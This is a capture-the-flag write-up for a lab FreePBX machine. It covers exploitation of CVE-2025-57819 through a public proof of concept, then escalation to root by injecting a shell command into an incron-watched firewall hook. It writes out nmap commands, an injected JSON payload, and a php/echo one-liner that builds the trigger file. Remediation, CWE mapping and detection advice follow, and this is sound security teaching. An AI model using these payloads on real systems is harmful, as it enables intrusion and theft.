Connected
asterisk. Root comes
from an automation chain rather than a memory-corruption bug: a root incrond watches a
directory the asterisk user can write to, and invokes sysadmin_manager, which
validates a signed FreePBX hook and then passes attacker-controlled JSON into an
exec() call as root. Signed code, unsigned input.
- Target
- connected.htb
- Host OS
- CentOS · Apache 2.4.6 · PHP 7.4.16
- Application
- FreePBX 16.0.40.7
- Foothold
- CVE-2025-57819 → PHP webshell → reverse shell as
asterisk - Privesc
- Writable incron trigger dir →
firewall.updateipsethook → root
01Enumeration
echo "<target> connected.htb" | sudo tee -a /etc/hosts
nmap -sC -sV -p- <target>
| Port | Service | Notes |
|---|---|---|
| 22 | ssh | OpenSSH |
| 80 | http | Apache 2.4.6 (CentOS), OpenSSL 1.0.2k-fips, PHP 7.4.16 |
| 443 | https | same stack |
The FreePBX administration page at /admin/config.php leaks its exact version in static asset
URLs and in the footer: FreePBX 16.0.40.7. That single string is the whole reconnaissance
phase — it maps directly to a known, exploited CVE.
02Foothold — CVE-2025-57819
The public watchTowr proof of concept sends the exploit request and then waits for the scheduled job to materialise a PHP webshell in the webroot:
[+] FreePBX CVE-2025-57819 Detection Artifact Generator started
[+] Sending exploit request
[+] Waiting 2 minutes for DAG script to be created
[+] VULNERABLE - webshell found: http://connected.htb/<artifact>.php?cmd=hostname
The webshell then serves a reverse shell, landing as the PBX service account:
uid=999(asterisk) gid=1000(asterisk) groups=1000(asterisk)
03Finding the privesc — automation, not exploits
The interesting local surface here is not SUID binaries — it is incron, the inotify-driven
cousin of cron. A root-run incrond watches a directory and executes a command when a file
closes:
/usr/local/asterisk/incron IN_CLOSE_WRITE /usr/bin/sysadmin_manager --local $#
$# is the filename that triggered the event. sysadmin_manager validates that the
requested FreePBX module hook is signed, then executes that hook as root. The signing check is
real and it passes — because the hook itself is legitimate vendor code. The problem is what the hook does
with its parameter.
The firewall module's updateipset hook accepts a gzip + base64 encoded JSON blob
and interpolates the ipset value straight into a shell command:
// hook: /var/www/html/admin/modules/firewall/hooks/updateipset
exec("ipset flush $ipset"); // $ipset comes from attacker-supplied JSON
So the payload is simply a JSON object with a command substitution in the ipset field:
{"action":"flush","ipset":"x; id > /var/www/html/rootcheck.txt"}
04Root
Encode the JSON the way the hook expects, then create a trigger file whose name carries the payload — the filename is the parameter:
PAYLOAD=$(php -r '$s=["action"=>"flush","ipset"=>"x; cat /root/root.txt > /var/www/html/root.txt"];
echo rtrim(str_replace("/","_",base64_encode(gzcompress(json_encode($s)))),"=");')
echo x > "/usr/local/asterisk/incron/firewall.updateipset.$PAYLOAD"
sleep 5
cat /var/www/html/root.txt
Proving root execution first with a plain id before going for the flag:
uid=0(root) gid=0(root) groups=0(root)
05What failed, and why it is worth recording
- Executing
/var/spool/asterisk/sysadmin/incron_restartcontents directly — went nowhere; it is not the dispatch path. - Using
/var/spool/asterisk/incronfor the payload — did not reliably produce root output. The working watcher is/usr/local/asterisk/incron. Two similar-looking directories, only one of them wired to the rootincrondrule. - Trying to create a SUID bash before confirming the root command path — the right move was a simple
idproof first. When a complex payload fails you cannot tell whether the technique or the plumbing is wrong; a minimal proof separates the two.
06If this were your environment
Unpatched FreePBX with version disclosure (CVE-2025-57819)
An internet-facing administration interface advertised its exact version and was vulnerable to a publicly exploited CVE that yields webshell and code execution as the service user.
- Patch FreePBX, the Sangoma modules, Apache, PHP and the base OS on a routine cycle, with emergency patching for actively exploited CVEs.
- Do not expose the PBX administration interface to untrusted networks. Put it behind VPN or an admin network with source restrictions.
- Suppress version disclosure in footers and asset URLs — it will not stop a determined attacker, but it removes the free targeting step.
- Retire the unsupported stack — CentOS with PHP 7.4 is out of support and will keep generating findings.
CIS Controls v8: 7.x continuous vulnerability management · 12.x network infrastructure management
Service user can write to a directory watched by root automation
asterisk could create files in /usr/local/asterisk/incron, which a root
incrond rule turned into a privileged command dispatch — with the filename itself as the
parameter.
- Never let a service account write to a directory that root-run automation watches.
chown root:root /usr/local/asterisk/incronandchmod 750. - Do not pass filenames from writable directories into privileged dispatchers. If a queue is needed, use a socket or an authenticated API with a validated schema.
- Audit cron, incron, systemd timers and vendor hooks during hardening and again after every module install — vendor packages add automation quietly.
CWE: CWE-732 incorrect permission assignment for critical resource
Signed hook interpolates attacker-controlled input into a shell
The signature check on the hook worked exactly as designed and provided no protection, because the
code was trusted while its input was not validated. exec("ipset flush $ipset")
with attacker JSON is command injection regardless of who signed the file.
- Avoid shell execution with interpolated variables. Use argument-array APIs so values can never be parsed as syntax.
- Validate against a strict allow-list before use — e.g.
if (!preg_match('/^[A-Za-z0-9_-]+$/', $ipset)) { throw new Exception('Invalid ipset'); } - Remember what a signature actually asserts: provenance of the code, not safety of the data it is handed. Trusted code processing untrusted input still needs input handling.
CWE: CWE-78 OS command injection
07Detection — the blue-team side
- Webshell-like PHP files written into the webroot — especially by the web or PBX service user.
- Unexpected trigger files appearing in incron-watched directories, and hook executions outside change windows.
- Root-owned automation writing files into web-accessible directories.
- Outbound shells from PBX or web service accounts — a PBX has no business making egress TCP connections to arbitrary hosts.
- Baseline sweeps:
grep -R "IN_CLOSE_WRITE" /etc/incron*,find /usr/local /var/spool -writable -type d,find / -perm -4000 -type f.
08Takeaways
- Version disclosure on an admin app is the whole recon phase. One string mapped the box to a public CVE.
- Automation is privilege escalation surface. incron, cron and systemd timers all execute as root on triggers that lower-privileged users may control.
- Signed does not mean safe. The hook signature validated fine; the parameter it was handed did not.
- Prove the primitive small, then scale it. A plain
idconfirmed root before any payload work — and made the two failed trigger paths obvious rather than mysterious.
◆If this were my environment
The important boundary was an event-driven root workflow that accepted attacker-influenced files. I would redesign that hook as a small, authenticated job queue and remove shell interpretation from the path.
- Patch and isolate FreePBX, limit its administrative interface to a management network and apply least privilege to its database and service accounts.
- Replace incron shell hooks with a fixed worker that validates ownership, type and content before processing a file.
- Require signed job manifests with replay protection; keep verification keys inaccessible to the submitting account.
- Run maintenance actions under dedicated identities and expose only the exact privileged operation through a brokered interface.
Hardening guides and benchmarks
These references offer different implementation paths: consensus benchmarks, prescriptive government checklists, vendor baselines and application-security verification requirements. I would select the profile that matches the system's role, document exceptions, test it in staging and continuously measure drift.